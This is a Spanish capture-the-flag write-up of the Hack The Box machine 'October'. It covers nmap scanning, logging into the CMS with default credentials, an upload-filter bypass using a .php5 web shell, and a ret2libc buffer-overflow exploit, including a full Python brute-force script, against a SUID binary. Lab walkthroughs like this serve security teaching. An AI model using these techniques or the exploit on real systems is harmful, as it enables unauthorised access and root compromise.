October
En este post estaremos resolviendo la máquina October de la plataforma Hack The Box. En primer lugar, deberemos acceder al panel de administración del CMS October, para luego ganar acceso al sistema. Luego, para escalar privilegios, tendremos que explotar un buffer overflow sobre un binario, haciendo un bypass de NX/DEP y el ASLR.
Reconocimiento
Comenzamos lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.
Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live), en este caso 64.
Enumeración
Descubrimiento de puertos abiertos
Realizamos un escaneo con nmap
para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
1
nmap -sS -p- --open --min-rate 5000 -Pn -n 10.10.10.6 -oG scanPorts -vvv
Parámetros utilizados:
-sS
: Realiza un TCP SYN Scan para escanear de manera sigilosa, es decir, que no completa las conexiones TCP con los puertos de la máquina víctima.-p-
: Indica que debe escanear todos los puertos (es igual a-p 1-65535
).--open
: Solo considerar puertos abiertos.--min-rate 5000
: Establece el número mínimo de paquetes que nmap enviará por segundo.-Pn
: Desactiva el descubrimiento de host por medio de ping.-vvv
: Activa el modo verbose para que nos muestre resultados a medida que los encuentra.-oG
: Determina el formato del archivo en el cual se guardan los resultados obtenidos. En este caso, es un formato grepeable, el cual almacena todo en una sola línea. De esta forma, es más sencillo procesar y obtener los puertos abiertos por medio de expresiones regulares, en conjunto con otras utilidades como pueden ser grep, awk, sed, entre otras.
Enumeración de versión y servicio
Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos determinados anteriormente.
1
nmap -sCV -p22,80 -vvv -oN targeted -vvv 10.10.10.16
Parámetros utilizados:
-sCV
Es la combinación de los parámetros-sC
y-sV
. El primero determina que se utilizarán una serie de scripts básiscos de enumeración propios de nmap, para conocer el servicio que esta corriendo en dichos puertos. Por su parte, el segundo parámetro permite conocer más acerca de la versión de ese servicio.-p-
: Indica que debe escanear todos los puertos (es igual a-p 1-65535
)-oN
: Determina el formato del archivo en el cual se guardan los resultados obtenidos, junto con el nombre del archivotargeted
. En este caso, utiliza el formato por defecto de nmap.-vvv
: Activa el modo verbose para que nos muestre resultados a medida que los encuentra.
Solo por motivos de comodidad, agregamos al archivo /etc/hosts
el dominio october.htb
para que al apuntar a este nos resuelva la ip de la máquina víctima.
1
❯ echo "10.10.10.16 october.htb" | tee -a /etc/hosts
Podemos hacer uso del plugin Wappalyzer que nos lista las tecnologías utilizadas en el sitio web.
Como podemos observar, el sitio web esta construido con el CMS October.
Al investigar un poco sobre el CMS October, podemos encontrar que este se administra a través de la ruta /backend
, y que el nombre de usuario y contraseña por defecto son admin:admin
. Al visitar /backend
, nos redirecciona a https://october.htb/backend/backend/auth/signin donde encontramos una página de inicio de sesión:
Utilizamos las credenciales por defecto y logramos ingresar al panel de administración del CMS.
Shell como www-data
Si ingresamos a la sección Media, vemos que tenemos la posibilidad de subir archivos. Intentemos subir un archivo .php
.
Vemos que nos devuelve un error.
Interceptemos la petición con Burp Suite para trabajar más comodo y tener mayor control sobre la solicitud.
Probemos cambiar la extensión del archivo para hacer un Bypass de la extensión Hacktricks - File Upload.
Se puede apreciar que nos permite subir el archivo, indicandonos el path donde se a guardado.
Si ingresamos a la ruta donde se aloja el archivo, podemos notar que no se esta interpretando el código php.
Probemos con otras extensiones.
Si intetamos cambiar las extensiones a .php3, .php4 obtenemos el siguiente mensaje de error.
Pero, si probamos con .php5
vemos que tenemos éxito y logramos subir el archivo.
Al igresar a la ruta indicada, vemos que tenemos capacidad para ejecutar comandos.
Ahora que sabemos que podemos ejecutar comandos, enviamos una reverse shell a nuestra máquina atacante para ganar acceso al sistema.
Nos ponemos en escucha con nc
por el puerto 443.
Enviamos la reverse shell.
Ganamos acceso al sistema como el usuario www-data
.
Hacemos un tratamiento de la tty para tener una terminal más interactiva:
script /dev/null -c bash
- CTRL + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows <rows> columns <columns>
Escalación de privilegios - root
Enumeración del sistema
Realizamos una enumeración básica del sistema.
Vemos que estamos frente a un Ubuntu 14.04.5 LTS de 32 bits.
Si miramos el archivo /etc/passwd
, podemos notar que además del usuario root
existe otro usuario llamado harry
.
Leemos la flag del usuario, que se encuentra bajo el directorio home del usuario harry.
Continuamos enumerando de forma manual y encontramos un binario inusual con permisos SUID.
Si ejecutamos el binario pasando como argumento una cadena corta, por ejemplo 6 A's
, vemos que no pasa nada.
Pero si pasamos como argumento 200 A's
, vemos que el binario corrompe mostrando como error segmentation fault (core dumped)
, lo cual es una buena señal de que estamos frente a un Buffer Overflow.
Copiamos el binario a la carpeta /var/www/html/cms/storage/app/media
para poder descargarlo y analizarlo en nuestra máquina atacante.
Antes de continuar, obtengamos un poco más de información sobre el binario. Para ello podemos hacer uso de gdb con gdb-peda.
Tal como vemos, el DEP (Data Execution Prevention) esta activado (NX). Lo cual indica que no podemos ejecutar código malicioso directamente en la pila (ESP). Pero esto no indica que no podamos explotar el binario. Podemos aprovecharnos de la técnia Ret2libc, usando las propias funciones de la biblioteca estandar libc
las cuales se cargan en memoria junto con el binario.
Por otra parte, si comprobamos el archivo /proc/sys/kernel/randomize_va_space
, vemos que el ASLR esta activado.
Esto también se puede percibir, si ejecutamos varias veces ldd
sobre el binario, la dirección de memoria de la libreria libc cambia en cada ejecución.
Para visualizarlo con más detalle podemos utilizar gdb, el cual nos permite analizar el binario a bajo nivel observando como funciona el flujo del programa.
1
2
gdb ./ovrflw
r $(python3 -c 'print("A" * 200)')
Podemos notar, que los registros (ESP, EBP y EIP) están sobrescritos por nuestras “A”. El primer registro en el cual nos tenemos que centrar es en el EIP, el cual apunta a la dirección 0x41414141
que corresponde a nuestras A's
.
Explotación del Buffer Overflow
Determinar el offset
De las primeras cosas que debemos de averiguar para poder explotar el buffer overflow, es conocer el número de bytes exactos para controlar el registro EIP. Para ello podemos hacerlo de manera manual pero utilizando gdb-peda.
1
pattern create 500
El comando anterior, crea una cadena especialemente diseñada que corresponde a un patrón que luego peda podra utilizar para averiguar el offset, es decir, la cantidad exacta de bytes que debemos de enviar para poder controlar el EIP.
Corremos nuevamente el programa con gdb
, pero en lugar de ingresar A's
insertamos nuestro payload.
La aplicación corrompe nuevamente y ahora el EIP vale AA8A
.
Podemos contar de forma manual cuantos caracteres hay antes de AA8A
en nuestro payload, lo cual determinará el offset o podemos hacer uso del comando pattern offset
de gdb
.
El offset, es decir, la cantidad de caracteres que debemos ingresar para que la aplicación falle son 112
. Podemos comprobar esto ingresando el siguiente payload.
1
2
3
> python3 -c "print('A' * 112 + 'B' * 4)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAABBBB
Observamos que el EIP ahora apunta a la dirección 0x42424242
que corresponde a nuestras B's
. En otras palabaras, estamos sobreescribiendo el registro EIP.
Ejecución del Buffer Overflow
La técnica que utilizaremos para explotar el buffer overflow se llama Ret2libc, de la cual hay un post en blog explicando la misma.
Cuando el ASLR
está habilitado, como es el caso, al llevar a cabo un ataque Ret2Libc, es crucial aprovechar las funciones proporcionadas por la biblioteca libc
. En este contexto, es necesario seleccionar una de las direcciones de la base de libc
, las cuales se obtienen de la siguiente manera:
1
> for i in $(seq 1 1000); do ldd /usr/local/bin/ovrflw | grep libc | awk 'NF{print $NF}' | grep "0xb7636000" | tr -d '()'; done
Como observamos, hemos identificado colisiones de direcciones en la memoria, lo que indica la presencia de repeticiones. El plan de ataque consiste en obtener los desplazamientos (offsets
) de las funciones system
, exit
y bin_sh
, para luego sumarles la dirección base de libc que hayamos seleccionado. De esta manera, podemos calcular las direcciones reales de system
, exit
y bin_sh
. A continuación, veremos este proceso en acción para una mejor comprensión.
En consecuencia, será necesario emplear una técnica de “fuerza bruta”, ejecutando repetidamente el programa. Este enfoque busca generar colisiones en la memoria, de manera que, en el momento en que el programa apunte a la base de la libc
que hayamos seleccionado, podamos calcular los desplazamientos (offsets
) y obtener las direcciones reales. De esta manera, logramos que el exploit sea exitoso al realizar una llamada al sistema para ejecutar /bin/sh
.
Para obtener los offsets de system
, exit
y bin_sh
podemos hacerlo de la siguiente forma:
1
www-data@october:/ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E "\bsystem@@| exit@@"
Mediante la ejecución de este comando, logramos obtener el desplazamiento (offset
) de las funciones system
y exit
.
Para adquirir el último desplazamiento (offset
), será necesario ejecutar el siguiente comando:
Ahora que hemos obtenido todos los desplazamientos (offsets
), podemos crear nuestro exploit en este caso utilizando Python.
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3
# 1. Calcular offset
# 2. Obtener una base de libc
# 3. Obtener offsets (system, exit, bin_sh)
# 4. Calcular direcciones reales
# EIP = system_address + exit_address + bin_sh_address
import sys
from struct import pack
from subprocess import call
# ldd ovrflw
# for i in $(seq 1 1000); do ldd ovrflw | grep libc | awk 'NF{print $NF}' | grep "0xb7636000" | tr -d '()'; done
base_libc_address = 0xb7636000
# readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E "\bsystem@@| exit@@"
exit_address_offset = 0x00033260
system_address_offset = 0x00040310
# strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
bin_sh_address_offset = 0x00162bac
# calculamos las direcciones reales
system_address = pack("<L", system_address_offset + base_libc_address)
exit_address = pack("<L", exit_address_offset + base_libc_address)
bin_sh_address = pack("<L", bin_sh_address_offset + base_libc_address)
offset = 112
junk = b"A" * 112
eip = system_address + exit_address + bin_sh_address
payload = junk + eip
while True:
res = call(["/usr/local/bin/ovrflw", payload])
if res == 0:
print("\n[!] Exiting the program...\n")
sys.exit(0)
Ejecutamos el exploit y leemos el flag del usuario root
.
De esta forma, llegamos al final del Write-up de la máquina October.
Espero que los conceptos hayan quedado claros. Si has llegado hasta este punto y aún tienes dudas, te recomiendo volver a realizar la máquina.
Gracias por tu lectura!
Happy Hacking!